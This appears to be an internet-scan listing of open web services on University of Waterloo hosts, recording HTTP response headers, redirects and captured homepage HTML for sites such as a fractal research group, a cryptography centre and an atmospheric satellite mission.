X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
Open service 129.97.134.112:443 · files.csclub.uwaterloo.ca
2026-01-12 12:57
HTTP/1.1 302 Found Server: nginx Date: Mon, 12 Jan 2026 12:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: oc_sessionPassphrase=JYzylHQlj8n%2BWlGC8GMOMlRq0EH6aQWYa83cZq9WHo5KkcM49OK3aWTWUeljybfMi%2FO7tW1pkTkKqDXxYw6yKnTUUNWoywpReelGu1JZsilJ4zh4AdVUhwrJO2j%2FwkOD; path=/; secure; HttpOnly; SameSite=Lax Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-5hZbD7PCb133udbXyrxlOne7eepDXWvSab6yus1jPyk='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; Set-Cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax Set-Cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict Set-Cookie: ocaem1pppzdj=6cb4f84b4ddabe4fd20999019bc3f0d7; path=/; secure; HttpOnly; SameSite=Lax Location: https://files.csclub.uwaterloo.ca/login Strict-Transport-Security: max-age=15768000; Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
Open service 129.97.206.21:443 · math.uwaterloo.ca
2026-01-12 02:21
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Content-Length: 298 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 12 Jan 2026 02:21:04 GMT Location: https://uwaterloo.ca/math/ Server: Caddy Server: Apache/2.4.52 (Ubuntu) Connection: close Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/math/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.math.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.21:80 · math.uwaterloo.ca
2026-01-12 02:21
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://math.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 02:22:01 GMT Content-Length: 0
Open service 129.97.206.21:80 · www.student.math.uwaterloo.ca
2026-01-12 02:20
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://www.student.math.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 02:21:59 GMT Content-Length: 0
Open service 129.97.206.21:443 · www.student.math.uwaterloo.ca
2026-01-12 02:20
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Content-Length: 381 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 12 Jan 2026 02:21:01 GMT Location: https://uwaterloo.ca/math-faculty-computing-facility/services/audience/current-undergraduate-students Server: Caddy Server: Apache/2.4.52 (Ubuntu) Connection: close Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/math-faculty-computing-facility/services/audience/current-undergraduate-students">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.student.math.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.21:443 · student.math.uwaterloo.ca
2026-01-12 02:19
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Content-Length: 381 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 12 Jan 2026 02:19:48 GMT Location: https://uwaterloo.ca/math-faculty-computing-facility/services/audience/current-undergraduate-students Server: Caddy Server: Apache/2.4.52 (Ubuntu) Connection: close Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/math-faculty-computing-facility/services/audience/current-undergraduate-students">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.student.math.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.21:80 · student.math.uwaterloo.ca
2026-01-12 02:19
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://student.math.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 02:20:46 GMT Content-Length: 0
Open service 129.97.206.21:80 · www.math.uwaterloo.ca
2026-01-12 01:49
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://www.math.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 01:50:40 GMT Content-Length: 0
Open service 129.97.206.21:443 · www.math.uwaterloo.ca
2026-01-12 01:49
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Content-Length: 298 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 12 Jan 2026 01:49:42 GMT Location: https://uwaterloo.ca/math/ Server: Caddy Server: Apache/2.4.52 (Ubuntu) Connection: close Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/math/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.math.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.21:80 · sas.uwaterloo.ca
2026-01-12 01:40
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://sas.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 01:41:48 GMT Content-Length: 0
Open service 129.97.206.21:443 · sas.uwaterloo.ca
2026-01-12 01:40
HTTP/1.1 301 Moved Permanently Alt-Svc: h3=":443"; ma=2592000 Content-Length: 345 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 12 Jan 2026 01:40:50 GMT Location: https://uwaterloo.ca/statistics-and-actuarial-science/ Server: Caddy Server: Apache/2.4.52 (Ubuntu) Connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/statistics-and-actuarial-science/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at sas.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.21:80 · links.uwaterloo.ca
2026-01-12 01:39
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://links.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 01:40:49 GMT Content-Length: 0
Open service 129.97.206.21:443 · links.uwaterloo.ca
2026-01-12 01:39
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/html; charset=utf-8
Date: Mon, 12 Jan 2026 01:39:51 GMT
Etag: "17f2-46826836f5480-gzip"
Last-Modified: Wed, 22 Apr 2009 15:35:30 GMT
Server: Caddy
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: Home
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/template.dwt" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Home</title>
<!-- InstanceEndEditable -->
<meta name="keywords" content="pinky style, free CSS templates, website templates, download HTML page, templatemo.com" />
<meta name="description" content="Pinky Style, 2-column fixed, free CSS website template" />
<link href="style.css" rel="stylesheet" type="text/css" />
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link rel="stylesheet" type="text/css" href="anylinkmenu.css" />
<script type="text/javascript" src="menucontents.js"></script>
<script type="text/javascript" src="anylinkmenu.js">
/***********************************************
* AnyLink JS Drop Down Menu v2.0- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Project Page at http://www.dynamicdrive.com/dynamicindex1/dropmenuindex.htm for full source code
***********************************************/
</script>
</head>
<body>
<!--
This is a free CSS template provided by templatemo.com
-->
<div id="templatemo_top">
<div id="templatemo_header">
<div id="templatemo_logo_area">
<div id="templatemo_site_title1">the waterloo</div>
<div id="templatemo_site_title2"><a href="index.html">fractal coding and analysis group</a></div>
</div>
<ul class="templatemo_menu_horizon">
<li><a href="index.html">home</a></li>
<li><a href="Research.html" class="menuanchorclass" rel="research">our research</a></li>
<li><a href="Students.html" class="menuanchorclass" rel="students">students and theses</a></li>
<li><a href="Publications.html">our publications</a></li>
<li><a href="Repository.html">image repository</a></li>
<li><a href="GroupMembers.html">group members</a></li>
</ul>
</div>
</div>
<div id="templatemo_container">
<div class="btm">
<div id="templatemo_left_column">
<div class="section_left" align="justify">
<div class="section_left_title">University of Waterloo Links</div>
<div id="section_left_links">
<ul>
<li><a href="http://www.uwaterloo.ca" target=_blank>The University of Waterloo</a><br>In Waterloo, Ontario, Canada </li>
<li><a href="http://www.math.uwaterloo.ca" target=_blank>The Faculty of Mathematics</a><br>At the University of Waterloo</li>
<li><a href="http://www.math.uwaterloo.ca/AM_Dept/index.shtml" target="_blank">The Department of Applied Math</a><br>
At the University of Waterloo</li>
<li><a href="http://rousseau.uwaterloo.ca/" target=_blank>The Vision and Image Processing Lab</a><br>At the Unviversity of Waterloo</li>
</ul>
</div>
<div class="section_left_title">Some External Links</div>
<div id="section_left_links">
<ul>
<li><a href="http://www.iciar.uwaterloo.ca/" target=_blank>The International Conference on Image Analysis and Recognition</a><br />An annual conference that brings together researchers in the fields of Image Processing, Image Analysis and Pattern Recognition</li>
<li><a href="http://sipi.usc.edu/database/" target=_blank>USC Image Database</a><br>An Image Database Administered by the Signal and Image Processing Institute at The University of Southern California </li>
<li><a href="http://www.worldscinet.com/fractals/" target=_blank>Fractals</a><br>A scientific journal published by World Scientific</li>
<li><a href="http://www.deviantart.com/#catpath=digitalart/fractals&order=9" target=_blank>Fractal Artwork</a>
Open service 129.97.206.21:80 · cacr.uwaterloo.ca
2026-01-12 01:10
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://cacr.uwaterloo.ca/ Server: Caddy Date: Mon, 12 Jan 2026 01:11:49 GMT Content-Length: 0
Open service 129.97.206.21:443 · cacr.uwaterloo.ca
2026-01-12 01:10
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/html; charset=utf-8
Date: Mon, 12 Jan 2026 01:10:51 GMT
Etag: "383-4a7b14445c3c6-gzip"
Last-Modified: Sun, 10 Jul 2011 06:35:03 GMT
Server: Caddy
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: Centre For Applied Cryptographic Research:
The University of Waterloo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
<TITLE>Centre For Applied Cryptographic Research:
The University of Waterloo</TITLE>
<META NAME="description" CONTENT="Centre for Applied Cryptographic Research at the University of Waterloo">
<META NAME="keywords" CONTENT="cryptography, research, Waterloo, information security, computer security, graduate studies, university">
<META NAME="author" CONTENT="Anton Casta">
<META NAME="authoring.tool" CONTENT="Homesite">
<META NAME="distribution" CONTENT="global">
<META NAME="resource-type" CONTENT="document">
<!-- frames -->
<FRAMESET COLS="150,*" FRAMEBORDER="0" FRAMESPACING="0" BORDER="0">
<FRAME NAME="side" SRC="side.html" MARGINHEIGHT="0" FRAMEBORDER="0" NORESIZE FRAMESPACING="0">
<FRAME NAME="main" SRC="main.html" MARGINHEIGHT="22" FRAMEBORDER="0" NORESIZE FRAMESPACING="0">
</FRAMESET>
</HTML>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:80 · psychsoc.uwaterloo.ca
2026-01-12 00:51
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:52:10 GMT Server: Apache/2.4.66 (Debian) Location: https://psychsoc.uwaterloo.ca/ Content-Length: 365 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://psychsoc.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at psychsoc.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.17:80 · psychsoc.uwaterloo.ca
2026-01-12 00:51
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:52:10 GMT Server: Apache/2.4.66 (Debian) Location: https://psychsoc.uwaterloo.ca/ Content-Length: 365 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://psychsoc.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at psychsoc.uwaterloo.ca Port 80</address> </body></html>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:443 · psychsoc.uwaterloo.ca
2026-01-12 00:51
HTTP/1.1 200 OK
Date: Mon, 12 Jan 2026 00:51:33 GMT
Server: Apache/2.4.66 (Debian)
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Thu, 11 Jan 2024 02:14:11 GMT
ETag: "7f4-60ea21a6e12d9"
Accept-Ranges: bytes
Content-Length: 2036
Vary: Accept-Encoding
Content-Type: text/html
Page title: Psychology Society
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="styles.css">
<!-- Add this script tag before the closing body tag in index.html -->
<script src="scripts.js"></script>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Psychology Society</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.header {
background-color: #007bff;
color: #ffffff;
padding: 10px 0;
text-align: center;
}
.nav {
padding: 0;
margin: 0;
background-color: #333;
overflow: hidden;
}
.nav a {
display: block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
float: left;
}
.nav a:hover {
background-color: #ddd;
color: black;
}
.main {
padding: 16px;
}
.footer {
background-color: #333;
color: white;
text-align: center;
padding: 10px;
position: fixed;
bottom: 0;
width: 100%;
}
</style>
</head>
<body>
<div class="header">
<h1>Psychology Society of University of Waterloo</h1>
</div>
<div class="nav">
<a href="#home">Home</a>
<a href="#news">News</a>
<a href="#events">Events</a>
<a href="#contact">Contact</a>
<a href="#about">About</a>
</div>
<div class="main">
<h2>Welcome to the Psychology Society</h2>
<p>This is a placeholder text for the Psychology Society's introduction. Here you can add information about the society, its goals, and its activities.</p>
<!-- Add more content here -->
</div>
<div class="footer">
<p>Footer content goes here.</p>
</div>
</body>
</html>
Open service 129.97.134.17:443 · psychsoc.uwaterloo.ca
2026-01-12 00:51
HTTP/1.1 200 OK
Date: Mon, 12 Jan 2026 00:51:33 GMT
Server: Apache/2.4.66 (Debian)
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Thu, 11 Jan 2024 02:14:11 GMT
ETag: "7f4-60ea21a6e12d9"
Accept-Ranges: bytes
Content-Length: 2036
Vary: Accept-Encoding
Content-Type: text/html
Page title: Psychology Society
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="styles.css">
<!-- Add this script tag before the closing body tag in index.html -->
<script src="scripts.js"></script>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Psychology Society</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.header {
background-color: #007bff;
color: #ffffff;
padding: 10px 0;
text-align: center;
}
.nav {
padding: 0;
margin: 0;
background-color: #333;
overflow: hidden;
}
.nav a {
display: block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
float: left;
}
.nav a:hover {
background-color: #ddd;
color: black;
}
.main {
padding: 16px;
}
.footer {
background-color: #333;
color: white;
text-align: center;
padding: 10px;
position: fixed;
bottom: 0;
width: 100%;
}
</style>
</head>
<body>
<div class="header">
<h1>Psychology Society of University of Waterloo</h1>
</div>
<div class="nav">
<a href="#home">Home</a>
<a href="#news">News</a>
<a href="#events">Events</a>
<a href="#contact">Contact</a>
<a href="#about">About</a>
</div>
<div class="main">
<h2>Welcome to the Psychology Society</h2>
<p>This is a placeholder text for the Psychology Society's introduction. Here you can add information about the society, its goals, and its activities.</p>
<!-- Add more content here -->
</div>
<div class="footer">
<p>Footer content goes here.</p>
</div>
</body>
</html>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:443 · capsi.uwaterloo.ca
2026-01-12 00:50
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:50:22 GMT Server: Apache/2.4.66 (Debian) Strict-Transport-Security: max-age=26784000 Location: https://https://capsi.weebly.com/ Content-Length: 366 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://https://capsi.weebly.com/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at capsi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.134.17:80 · capsi.uwaterloo.ca
2026-01-12 00:50
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:51:01 GMT Server: Apache/2.4.66 (Debian) Location: https://capsi.weebly.com/ Content-Length: 357 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://capsi.weebly.com/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at capsi.uwaterloo.ca Port 80</address> </body></html>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:80 · capsi.uwaterloo.ca
2026-01-12 00:50
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:51:00 GMT Server: Apache/2.4.66 (Debian) Location: https://capsi.weebly.com/ Content-Length: 357 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://capsi.weebly.com/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at capsi.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.17:443 · capsi.uwaterloo.ca
2026-01-12 00:50
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 00:50:21 GMT Server: Apache/2.4.66 (Debian) Strict-Transport-Security: max-age=26784000 Location: https://https://capsi.weebly.com/ Content-Length: 366 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://https://capsi.weebly.com/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at capsi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.73.140:80 · aceserver.uwaterloo.ca
2026-01-12 00:30
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 12 Jan 2026 00:30:19 GMT
Content-Type: text/html
Content-Length: 11321
Last-Modified: Wed, 01 Mar 2017 15:14:13 GMT
Connection: close
ETag: "58b6e545-2c39"
Accept-Ranges: bytes
Page title: Apache2 Ubuntu Default Page: It works
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2014-03-19
See: https://launchpad.net/bugs/1288690
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
<span class="floating_element">
Apache2 Ubuntu Default Page
</span>
</div>
<!-- <div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_elem
Open service 129.97.73.140:443 · aceserver.uwaterloo.ca
2026-01-12 00:30
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 12 Jan 2026 00:30:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19760
Connection: close
Page title: ACE/SCISAT - The Atmospheric Chemistry Experiment
<!doctype html>
<html class="no-js " lang="en-CA">
<head>
<script type="text/javascript" src="https://fast.fonts.com/jsapi/9c101523-c9e9-4e52-b751-a5b16576f638.js"></script>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge,chrome=1">
<title>ACE/SCISAT - The Atmospheric Chemistry Experiment</title>
<meta name="description" content="ACE/SCISAT - The Atmospheric Chemistry Experiment">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="/static/theme/img/favicon.ico">
<link href="/static/theme/css/main.css" rel="stylesheet" type="text/css">
<script type='application/javascript' src="/static/scenario/Build/Cesium/Cesium.js"></script>
<style>
@import url(/static/scenario/Build/Cesium/Widgets/widgets.css);
#cesiumContainer {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
border: 0px solid black;
overflow: hidden;
}
</style>
<!--For Altmetric badges-->
<script type='text/javascript' src='https://d1bxh8uas1mnw7.cloudfront.net/assets/embed.js'></script>
<!--For Dimensions badges-->
<script async src="https://badge.dimensions.ai/badge.js" charset="utf-8"></script>
</head>
<body class="site ">
<header class="grid ">
<a class="logo" href="/"><img id="logo" src="/static/theme/img/banner_acescisat.png"/></a>
<div class="aligner">
<div class="aligner__item banner-title"><a href="/">The Atmospheric Chemistry Experiment</a></div>
</div>
<!-- <div class="grid__cell grid-cell--center align-right">
<a class="off-canvasnav" href="#off-canvas"><i class="fa fa-bars navicon"></i></a>
<a class="off-canvas-nav" href="#"><i class="fa fa-times navicon"></i></a>
</div>-->
</header><!-- .end / HEADER -->
<nav class="grid ">
<div class="grid__cell grid-cell--center">
<ul class="breadcrumb">
<li class="breadcrumb__primary"><a href="/">Home</a></li>
</ul>
</div>
</nav><!-- .end / NAV -->
<main class="site-content styleguide ">
<h2 style="text-align: center; padding-bottom: 10px;">Welcome to the homepage for the Atmospheric Chemistry Experiment</h2>
<div class="grid__cell">
<p> The Atmospheric Chemistry Experiment (ACE) is a satellite mission on-board the Canadian satellite SCISAT that takes measurements of the Earth's atmosphere. </p>
<p> The measurements consist of spectra and images that are used to investigate chemical and dynamical processes in our atmosphere, with a particular emphasis on ozone depletion in the Arctic stratosphere. </p>
<p>Dr. Peter Bernath from the Department of Chemistry at the University of Waterloo is the Mission Scientist.</p>
</div>
<div class="container-home" style:"align-items: flex-start, flex-direction: column">
<div class="grid__cell" style:"flex-grow: 2">
<h3>Recent Publications using ACE data:</h3>
<p class='publicationinfo'>
Chabrillat, <i>et al.</i><br>
<b>Modelling stratospheric composition for the Copernicus Atmosphere Monitoring Service: multi-species evaluation of IFS-COMPO Cy49</b><br>
<i>Geoscientific Model Development, <b>18</b>(), 8973, ; doi: <a href='https://doi.org/10.5194/gmd-18-8973-2025'>10.5194/gmd-18-8973-2025</a></i><br>
</p>
<div class='webwidgets'>
<!-- doi looks goo and we try to use the widgets -->
<div class='altmetric-embed' data-doi='10.5194/gmd-18-8973-2025' data-hide-less-than='1' data-badge-type='1' data-badge-popover='bottom' ></div>
<span class="__dimensions_badge_embed__" data-doi='10.5194/gmd-18-8973-2025' data-hide-zero-citations="false" data-style="large_rectangle" data-legend="hover-bottom"></span>
</div>
<p class='publicationinfo'>
Hachmeister, <i>et al.</i><br>
<b>Reduction of airmass-depen
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-11 21:29
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sun, 11 Jan 2026 21:30:06 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/463a61d9ad95bb58.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5d05866e11118bde.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" 